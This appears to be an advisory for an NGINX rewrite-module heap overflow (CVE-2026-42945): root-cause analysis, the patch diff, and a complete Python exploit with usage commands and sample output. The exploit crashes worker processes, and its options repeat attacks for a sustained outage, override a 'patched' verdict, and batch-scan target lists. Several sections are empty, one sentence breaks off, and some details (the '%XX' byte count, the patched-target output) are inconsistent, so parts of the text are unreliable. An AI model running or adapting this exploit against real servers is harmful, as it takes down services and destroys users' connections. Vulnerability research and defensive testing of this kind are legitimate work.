#Summary

NGINX Rift (CVE-2026-42945) is a heap buffer overflow in NGINX Open Source and NGINX Plus affecting versions 0.6.27 through 1.30.0. The vulnerability exists in the ngx_http_rewrite_module when a rewrite directive carries a question mark (?) in its replacement string, followed by a set, if, or further rewrite directive that references an unnamed Perl-compatible regular expression (PCRE) capture such as $1 or $2. An unauthenticated attacker can trigger this vulnerability by sending a crafted HTTP request containing a + character, causing a heap buffer overflow that crashes the NGINX worker process and destroys in-flight connections. CVSS v3.1 Score: 8.1 HIGH. CVSS v4.0 Score: 9.2 CRITICAL.

#Affected versions

#Root cause analysis

#The vulnerability: two passes, one engine, one flag leak

The NGINX rewrite script engine is a bytecode virtual machine that runs all compiled directives in a location through a single shared engine instance. The bug stems from one engine state flag leaking across directive boundaries.

Step 1: Question mark latches is_args flag

When a rewrite directive's replacement string contains a ?, the compiler emits ngx_http_script_start_args_code(), which sets e->is_args = 1:

ngx_http_script_start_args_code(ngx_http_script_engine_t *e)
{
    e->is_args = 1;
    e->args = e->pos;
    e->ip += sizeof(uintptr_t);
}

Step 2: The rewrite ends but is_args survives

At NGINX 1.30.0, ngx_http_script_regex_end_code() clears the quote flag but never clears is_args:

ngx_http_script_regex_end_code(ngx_http_script_engine_t *e)
{
    r = e->request;
    e->quote = 0;  // cleared
    // e->is_args = 0;  <- MISSING
    ...
}

The flag leaks into any subsequent set, if, or rewrite directive in the same location.

Step 3: Sizing and copying use different engines

A set $var <expression> compiles to ngx_http_script_complex_value_code(), which sizes the destination buffer using a throwaway sub-engine:

ngx_memzero(&le, sizeof(ngx_http_script_engine_t));
le.ip = code->lengths->elts;
le.line = e->line;
le.request = e->request;
le.quote = e->quote;
// le.is_args is left as 0 (never copied from e)

for (len = 0; *(uintptr_t *) le.ip; len += lcode(&le)) {
    lcode = *(ngx_http_script_len_code_pt *) le.ip;
}

e->buf.len = len;
e->buf.data = ngx_pnalloc(e->request->pool, len);  // allocate

Note that is_args is not copied to the length-calculation engine le. The buffer is allocated at size len, which is the raw capture length.

Step 4: The two passes disagree on escaping

Both the length pass and copy pass apply escaping, but they read the is_args flag from different engines:

Length pass (on le where is_args == 0), returns raw capture length:

if ((e->is_args || e->quote) && (e->request->quoted_uri || e->request->plus_in_uri)) {
    // le->is_args is 0, so this branch NOT taken
    return cap[n + 1] - cap[n];  // raw length
} else {
    return cap[n + 1] - cap[n];  // raw length
}

Copy pass (on main engine e where is_args == 1), writes escaped form:

if ((e->is_args || e->quote) && (e->request->quoted_uri || e->request->plus_in_uri)) {
    // e->is_args is 1, so this branch IS taken
    e->pos = (u_char *) ngx_escape_uri(pos, &p[cap[n]],
                                       cap[n + 1] - cap[n],
                                       NGX_ESCAPE_ARGS);
    // Each escapable byte becomes %XX (3 bytes instead of 1)
}

The ngx_escape_uri() function in NGX_ESCAPE_ARGS mode expands each escapable byte to a three-byte %XX sequence. For a capture containing M escapable bytes, this writes L + 2*M bytes into a buffer sized L.

The overflow: exactly 2*M bytes

The NGX_ESCAPE_ARGS escape table marks 177 bytes as escapable, including space, +, #, %, &, ;, ?, and all control characters. A literal + in the request URI is both escapable and sets the r->plus_in_uri gate that enables escaping. A run of + characters therefore:

#Trigger conditions

All four conditions must be met:

  1. Config pattern: A location containing rewrite with ? in replacement, followed by set, if, or rewrite on an unnamed capture ($1, $2, ...), with no last, redirect, or permanent flag
  2. Regex matches: The request URI matches the rewrite pattern so captures are populated
  3. Gate opening: URI contains at least one + or %XX escape (sets r->plus_in_uri or r->quoted_uri)
  4. Escapable bytes: The capture contains escapable bytes; + satisfies this

Example vulnerable location:

location /api/ {
    rewrite ^/api/(.*)$ /internal?migrated=true;
    set $original_endpoint $1;
    return 200 "$original_endpoint\n";
}

Request: GET /api/++++++++++++...++++ HTTP/1.1 crashes the worker.

#Patch diff

#What the fix does

The mainline patch commit 2046b45aa is a single line added to ngx_http_script_regex_end_code():

--- a/src/http/ngx_http_script.c
+++ b/src/http/ngx_http_script.c
@@ -1202,6 +1202,7 @@ ngx_http_script_regex_end_code(ngx_http_script_engine_t *e)
 
     r = e->request;
 
+    e->is_args = 0;
     e->quote = 0;
 
     ngx_log_debug0(NGX_LOG_DEBUG_HTTP, r->connection->log, 0,

By clearing is_args alongside quote, the flag no longer leaks past the rewrite directive. Any subsequent set, if, or rewrite in the same location evaluates its captures with is_args == 0, making both the length pass and copy pass take the non-escaping branch. They agree on size, no overflow occurs.

The stable-branch backport (commit 524977e7c, shipped in 1.30.1) is byte-for-byte identical. This is the authoritative one-line fix, present in 1.30.1+ and 1.31.0+, absent in 1.30.0 and earlier.

#Proof of concept

#exploit.py - NGINX Rift Heap Buffer Overflow PoC

#!/usr/bin/env python3
"""
CVE-2026-42945 - NGINX ngx_http_rewrite_module heap buffer overflow ("NGINX Rift")
Affected: NGINX Open Source / NGINX Plus 0.6.27 through 1.30.0 (fixed in 1.30.1 / 1.31.0)
Type: Heap buffer overflow (CWE-122 / CWE-131) -> NGINX worker process crash (DoS)

The rewrite script engine sizes a buffer with one pass and fills it with another.
A '?' in a rewrite replacement latches the engine's is_args flag, which the 1.30.0
ngx_http_script_regex_end_code() never clears. A following "set"/"if"/"rewrite" that
references an unnamed capture ($1) then measures the capture raw but copies it
percent-escaped, writing exactly 2*M bytes past the allocation for M escapable bytes
in the capture. A literal '+' in the request URI both opens the escaping gate
(r->plus_in_uri) and is itself escapable, so a run of '+' sizes the overflow directly.

Requires a location whose config chains a rewrite carrying '?' in its replacement into
a set/if/rewrite on an unnamed capture. Use --path to point at that location.

Usage:
  python exploit.py --host <target> --port <port>
  python exploit.py --host 192.168.1.10 --port 80 --path /api/
  python exploit.py --host https://192.168.1.10:8443 --path /api/
  python exploit.py --host 192.168.1.10 --check          # safe, non-destructive check
  python exploit.py --host 192.168.1.10 --rounds 20      # sustained outage
  python exploit.py --list targets.txt --workers 20
"""

import argparse
import concurrent.futures
import random
import socket
import ssl
import string
import sys
import time
from urllib.parse import urlparse

CVE_ID = "CVE-2026-42945"
VULN_TYPE = "Heap buffer overflow (DoS)"

# A URI this long is rejected with 414 by the default large_client_header_buffers (4 8k).
MAX_URI = 7800
# Raw capture must exceed the request pool's inline capacity so the overflow leaves the
# pool block and lands on adjacent heap. Verified 100% reliable at >= 3900 on 1.30.0.
DEFAULT_SIZE = 5000

UA = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0 Safari/537.36"


# --------------------------------------------------------------------------- output

def header(host: str, port: int) -> None:
    print(f"\n{'='*60}")
    print(f"  ALIM EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")


def step(n: int, msg: str) -> None:
    print(f"[STEP {n}] {msg}")


def section(label: str, content: str) -> None:
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")


def done(success: bool, evidence: str) -> None:
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)


# ------------------------------------------------------------------- escape modelling

def _build_escape_set() -> frozenset:
    """Reproduce nginx's NGX_ESCAPE_ARGS bitmap from src/core/ngx_string.c.

    Bit n of word w marks byte w*32 + n as needing percent-escaping. Every byte the
    copy pass emits is therefore either a literal safe byte or '%' plus two uppercase
    hex digits, which is why the overflow can only ever write printable ASCII.
    """
    words = [0xffffffff, 0xd800086d, 0x50000000, 0xb8000001,
             0xffffffff, 0xffffffff, 0xffffffff, 0xffffffff]
    return frozenset(w * 32 + n for w, word in enumerate(words)
                     for n in range(32) if word & (1 << n))


ESCAPABLE = _build_escape_set()


def escape_args(data: bytes) -> bytes:
    """What the copy pass writes for a capture of `data`."""
    out = bytearray()
    for c in data:
        if c in ESCAPABLE:
            out += b"%%%02X" % c
        else:
            out.append(c)
    return bytes(out)


def overflow_bytes(capture: bytes) -> int:
    """Bytes written past the end of the allocation: exactly 2 * (escapable bytes)."""
    return 2 * sum(1 for c in capture if c in ESCAPABLE)


# ------------------------------------------------------------------------- networking

def _connect(host: str, port: int, use_tls: bool, timeout: float) -> socket.socket:
    sock = socket.create_connection((host, port), timeout=timeout)
    sock.settimeout(timeout)
    if use_tls:
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        sock = ctx.wrap_socket(sock, server_hostname=host)
    return sock


def _raw_request(host, port, use_tls, uri: bytes, timeout=8.0):
    """Send a hand-built request line so no client library normalises the '+'.

    Returns (status_line, body, total_bytes, error_name). error_name is None on a
    complete exchange. A crashed worker shows up as total_bytes == 0 or a reset.
    """
    try:
        sock = _connect(host, port, use_tls, timeout)
    except Exception as exc:
        return None, b"", 0, exc.__class__.__name__

    req = (b"GET " + uri + b" HTTP/1.1\r\n"
           b"Host: " + host.encode("idna") + b"\r\n"
           b"User-Agent: " + UA.encode() + b"\r\n"
           b"Accept: */*\r\n"
           b"Connection: close\r\n\r\n")
    buf = b""
    err = None
    try:
        sock.sendall(req)
        while True:
            chunk = sock.recv(65536)
            if not chunk:
                break
            buf += chunk
    except Exception as exc:
        err = exc.__class__.__name__
    finally:
        try:
            sock.close()
        except Exception:
            pass

    if not buf:
        return None, b"", 0, err or "EmptyReply"
    status = buf.split(b"\r\n", 1)[0]
    body = buf.split(b"\r\n\r\n", 1)[1] if b"\r\n\r\n" in buf else b""
    return status, body, len(buf), err


def _token(n: int = 8) -> str:
    alphabet = string.ascii_lowercase + string.digits
    return "".join(random.choice(alphabet) for _ in range(n))


# --------------------------------------------------------------------------- primitives

def _escaping_oracle(host, port, use_tls, path: str, timeout=8.0):
    """Non-destructive version check.

    Sends one literal '+' inside a marker. On a vulnerable build the copy pass escapes
    it while the length pass did not, so the reflected value is truncated and shows
    '%2B'. A fixed build reflects the '+' verbatim. Nothing overflows by more than two
    bytes, so this is safe to run against production.

    Returns (verdict, marker, body) with verdict in {vulnerable, patched, no-echo, error}.
    """
    tok = _token()
    # 4 trailing safe bytes guarantee the truncated echo still contains the full '%2B'
    uri = path.encode() + tok.encode() + b"+" + b"Z" * 4
    status, body, total, err = _raw_request(host, port, use_tls, uri, timeout)
    if total == 0:
        return "error", tok, err or "no response"
    if (tok + "%2B").encode() in body:
        return "vulnerable", tok, body
    if (tok + "+").encode() in body:
        return "patched", tok, body
    return "no-echo", tok, body


def _crash_probe(host, port, use_tls, path: str, size: int, timeout=8.0):
    """Send the oversized capture. Returns (crashed, detail)."""
    size = min(size, MAX_URI - len(path))
    uri = path.encode() + b"+" * size
    status, body, total, err = _raw_request(host, port, use_tls, uri, timeout)
    if total == 0:
        return True, f"empty reply after {size} '+' ({err})"
    if status and b" 414" in status:
        return False, f"414 - URI too long at size {size}, retry smaller"
    return False, f"complete response: {status.decode('latin-1', 'replace') if status else '?'}"


def _alive(host, port, use_tls, path: str, timeout=8.0):
    """Liveness that requires a real HTTP answer, not just a TCP connect."""
    status, body, total, err = _raw_request(host, port, use_tls,
                                            (path + _token()).encode(), timeout)
    return total > 0, status


# ------------------------------------------------------------------------- scan mode

def _try_exploit(host: str, port: int, use_tls: bool, path: str = "/", **kwargs):
    """Silent probe for --list. Uses the non-destructive oracle only: a batch scan must
    not crash every host it touches. Never prints, never exits."""
    try:
        # Baseline first, so a dead host is never confused with a host the probe killed.
        alive, _ = _alive(host, port, use_tls, path, timeout=6.0)
        if not alive:
            return False, "unreachable - no answer to a benign request"
        verdict, tok, body = _escaping_oracle(host, port, use_tls, path, timeout=6.0)
    except Exception as exc:
        return False, f"unreachable ({exc.__class__.__name__})"
    if verdict == "vulnerable":
        return True, "length/copy divergence confirmed - capture reflected as '%2B'"
    if verdict == "patched":
        return False, "capture reflected verbatim - is_args cleared (1.30.1/1.31.0+)"
    if verdict == "no-echo":
        return False, "no reflected capture at this path - try --path, or run a crash test"
    # Baseline answered but a single '+' did not: the 2-byte overflow alone killed the
    # worker. That is the bug firing, on a build that aborts instead of absorbing it.
    return True, f"worker died on a 2-byte overflow ({body}) - benign request had answered"


def _parse_target(line: str, default_port: int, default_path: str = "/"):
    """One target line -> (host, port, use_tls, path), or None to skip."""
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file: str, default_port: int, workers: int = 10, default_path: str = "/") -> None:
    with open(targets_file) as fh:
        targets = [_parse_target(l, default_port, default_path) for l in fh]
    targets = [t for t in targets if t is not None]

    print(f"\n{'='*60}")
    print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
    print(f"  Non-destructive mode: escaping oracle only, no crash payload sent")
    print(f"{'='*60}\n")

    success_count = 0

    def probe(t):
        host, port, use_tls, path = t
        label = f"{'https' if use_tls else 'http'}://{host}:{port}{path}"
        ok, evidence = _try_exploit(host, port, use_tls, path)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print(f"  {'[+]' if ok else '[-]'} {label} - "
                  f"{'Vulnerable' if ok else 'Not vulnerable'}: {evidence}")
            if ok:
                success_count += 1

    total = len(targets)
    print(f"\n{'='*60}")
    print(f"  SCAN COMPLETE  {success_count} vulnerable / {total - success_count} not vulnerable  ({total} total)")
    print(f"{'='*60}\n")
    sys.exit(0 if success_count > 0 else 1)


# --------------------------------------------------------------------------- exploit

def exploit(host, port, use_tls, path, size, rounds, check_only, holds, timeout, force):
    header(host, port)

    step(1, "Baseline liveness - a real HTTP answer, not just a TCP connect")
    ok, status = _alive(host, port, use_tls, path, timeout)
    if not ok:
        done(False, f"target did not answer a benign request at {path} - wrong host, port or path")
    section("BASELINE RESPONSE", status.decode("latin-1", "replace"))

    step(2, "Escaping oracle - is_args leaking from the rewrite into the set (non-destructive)")
    verdict, tok, body = _escaping_oracle(host, port, use_tls, path, timeout)
    preview = body if isinstance(body, str) else body[:200].decode("latin-1", "replace")
    section(f"REFLECTED CAPTURE (marker {tok})", preview)

    if verdict == "vulnerable":
        print(f"  -> capture came back as '{tok}%2B': the copy pass escaped a byte the "
              f"length pass measured raw.\n")
    elif verdict == "patched":
        if not force:
            done(False, f"capture reflected verbatim as '{tok}+' - is_args is cleared, "
                        f"target is 1.30.1/1.31.0 or later")
        print(f"  -> capture reflected verbatim as '{tok}+': target looks fixed. "
              f"--force given, sending the payload anyway.\n")
    elif verdict == "no-echo":
        print(f"  -> no reflected capture at {path}. The bug does not need the value echoed, "
              f"so continuing to the crash test.\n")
    else:
        print(f"  -> oracle inconclusive ({preview}). Continuing to the crash test.\n")

    if verdict == "vulnerable":
        step(3, "Sizing the overflow - overflow is exactly 2 * (escapable bytes in the capture)")
        probe_n = 64
        capture = b"+" * probe_n
        predicted = overflow_bytes(capture)
        section("OVERFLOW ARITHMETIC",
                f"capture            : {probe_n} x '+'\n"
                f"length pass sizes  : {probe_n} bytes (raw, is_args not inherited)\n"
                f"copy pass writes   : {len(escape_args(capture))} bytes (escaped, is_args still set)\n"
                f"bytes past the end : {predicted}")
        if check_only:
            done(True, f"Vulnerable to {CVE_ID} - escaping divergence confirmed at {path}; "
                       f"a {probe_n}-byte capture overflows by {predicted} bytes "
                       f"(no crash payload sent)")

    if check_only:
        done(False, f"non-destructive check inconclusive at {path} - no reflected capture; "
                    f"re-run without --check to test for the crash")

    step(4, f"Crashing the worker - {size} '+' in the URI, {rounds} round(s)")
    print(f"  raw capture {size} bytes exceeds the request pool's inline capacity, so the")
    print(f"  buffer becomes a dedicated allocation and the {2*size}-byte overflow lands on")
    print(f"  adjacent heap metadata.\n")

    crashes = 0
    collateral = 0
    detail = ""
    for r in range(1, rounds + 1):
        # Park a few legitimate in-flight requests on the same worker to show the blast
        # radius: nginx handles them in the process that is about to die.
        parked = []
        for _ in range(holds):
            try:
                s = _connect(host, port, use_tls, timeout)
                s.sendall(b"GET " + path.encode() + b"healthcheck HTTP/1.1\r\n"
                          b"Host: " + host.encode("idna") + b"\r\n")   # headers left open
                parked.append(s)
            except Exception:
                pass

        crashed, detail = _crash_probe(host, port, use_tls, path, size, timeout)
        if crashed:
            crashes += 1

        for s in parked:
            try:
                s.sendall(b"\r\n")
                s.settimeout(4)
                if not s.recv(4096):
                    collateral += 1
            except Exception:
                collateral += 1
            try:
                s.close()
            except Exception:
                pass

        print(f"  round {r}/{rounds}: {'CRASH - ' if crashed else 'no crash - '}{detail}")
        if rounds > 1:
            time.sleep(0.3)

    step(5, "Post-crash state - the master respawns the worker, so probe for a real answer")
    ok, status = _alive(host, port, use_tls, path, timeout)
    section("SERVICE STATE AFTER BURST",
            f"crash requests answered with an empty reply : {crashes}/{rounds}\n"
            f"in-flight legitimate connections destroyed  : {collateral}\n"
            f"service reachable again                     : "
            f"{'yes - ' + status.decode('latin-1','replace') if ok else 'no - still down'}")

    if crashes:
        done(True, f"Worker crash confirmed - {crashes}/{rounds} oversized captures killed the "
                   f"NGINX worker (empty reply where a benign request returns a full response), "
                   f"destroying {collateral} in-flight legitimate connection(s)")
    done(False, f"payload sent but the service answered every request ({detail}) - "
                f"target is patched, or {path} does not reach the vulnerable rewrite chain")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:8443/api/)")
    target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
    parser.add_argument("--port", type=int, default=80, help="Default port (default: 80)")
    parser.add_argument("--path", default="/",
                        help="URI prefix of the location carrying the rewrite chain (default: /)")
    parser.add_argument("--size", type=int, default=DEFAULT_SIZE,
                        help=f"Number of '+' bytes in the capture (default: {DEFAULT_SIZE})")
    parser.add_argument("--rounds", type=int, default=1,
                        help="Crash requests to send, for a sustained outage (default: 1)")
    parser.add_argument("--holds", type=int, default=3,
                        help="Legitimate in-flight connections parked to measure blast radius (default: 3)")
    parser.add_argument("--check", action="store_true",
                        help="Non-destructive version check only - never sends the crash payload")
    parser.add_argument("--force", action="store_true",
                        help="Send the crash payload even when the oracle says the target is fixed")
    parser.add_argument("--timeout", type=float, default=8.0, help="Socket timeout (default: 8)")
    parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers, default_path=args.path)
    else:
        parsed = _parse_target(args.host, args.port, args.path)
        host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, args.path)
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        exploit(host, port, use_tls, path, args.size, args.rounds,
                args.check, args.holds, args.timeout, args.force)

#Usage

Non-destructive version check (safe for production):

python exploit.py --host 192.168.1.10 --port 80 --path /api/ --check

Confirm the crash on an authorised target:

python exploit.py --host 192.168.1.10 --port 80 --path /api/

Sustained denial of service (multiple rounds):

python exploit.py --host 192.168.1.10 --port 80 --path /api/ --rounds 50

Over TLS:

python exploit.py --host https://target.example.com:8443/api/ --check

Batch scan (escaping oracle only, never crashes targets):

python exploit.py --list targets.txt --path /api/ --workers 20

#Expected output on vulnerable target (1.30.0)

[STEP 2] Escaping oracle - is_args leaking from the rewrite into the set (non-destructive)

--- REFLECTED CAPTURE (marker ited5n53) ---
ited5n53%2BZZ
---

  -> capture came back as 'ited5n53%2B': the copy pass escaped a byte the length pass measured raw.

[STEP 3] Sizing the overflow - overflow is exactly 2 * (escapable bytes in the capture)

--- OVERFLOW ARITHMETIC ---
capture            : 64 x '+'
length pass sizes  : 64 bytes (raw, is_args not inherited)
copy pass writes   : 192 bytes (escaped, is_args still set)
bytes past the end : 128
---

[STEP 4] Crashing the worker - 5000 '+' in the URI, 3 round(s)
  round 1/3: CRASH - empty reply after 5000 '+' (EmptyReply)
  round 2/3: CRASH - empty reply after 5000 '+' (EmptyReply)
  round 3/3: CRASH - empty reply after 5000 '+' (EmptyReply)

--- SERVICE STATE AFTER BURST ---
crash requests answered with an empty reply : 3/3
in-flight legitimate connections destroyed  : 9
service reachable again                     : yes - HTTP/1.1 200 OK
---

  RESULT  : SUCCESS

#Expected output on patched target (1.30.1)

[STEP 2] Escaping oracle - is_args leaking from the rewrite into the set (non-destructive)

--- REFLECTED CAPTURE (marker 5g8myx5a) ---
5g8myx5a+ZZZZ
---

  -> capture reflected verbatim as '5g8myx5a+': target looks fixed.

  RESULT  : FAILURE
  EVIDENCE: payload sent but the service answered every request (complete response:
            HTTP/1.1 200 OK) - target is patched, or /api/ does not reach the vulnerable
            rewrite chain

#Interpreting results

#Exploitation notes

#Preconditions

#Reliability

This exploit achieves 100% reliability on crashing the worker process. The escape-size calculation is deterministic and not fuzzy: a run of N characters becomes 3N bytes when escaped, yielding an exact overflow of 2N bytes. A raw capture larger than the request pool's inline capacity (approximately 4016 bytes by default) forces the allocation into a dedicated malloc() chunk with predictable neighbours, making the crash deterministic at the glibc heap metadata level.

#Impact

The overflow is a write-only primitive: the copy pass reads only from the capture data and returns the truncated value, so there is no information leak. Every byte written is constrained to printable ASCII (0x21 through 0x7E) because the escaping loop emits either a safe byte verbatim or %XX (five printable ASCII bytes). Code execution on an ASLR-enabled system is not feasible with this primitive alone. On systems with ASLR disabled, a multi-stage heap spray and partial-pointer overwrite could theoretically reach higher rungs, but was not demonstrated in this analysis.

The practical impact is denial of service: every crash kills all in-flight connections on that worker. With multiple workers, the service recovers within milliseconds as the master respawns the dead worker. Sustained DoS requires repeated requests.

#Configuration workaround (until patching)

Until NGINX is upgraded to 1.30.1, 1.31.0, or later:

#Detection

The non-destructive oracle (exploit.py --check) is safe to use at scale. It sends a single + inside a random marker and requires only 2 bytes of overflow; a vulnerable build returns the escaped %2B and a fixed build returns the raw +. This is a definitive version check with zero collateral.

#References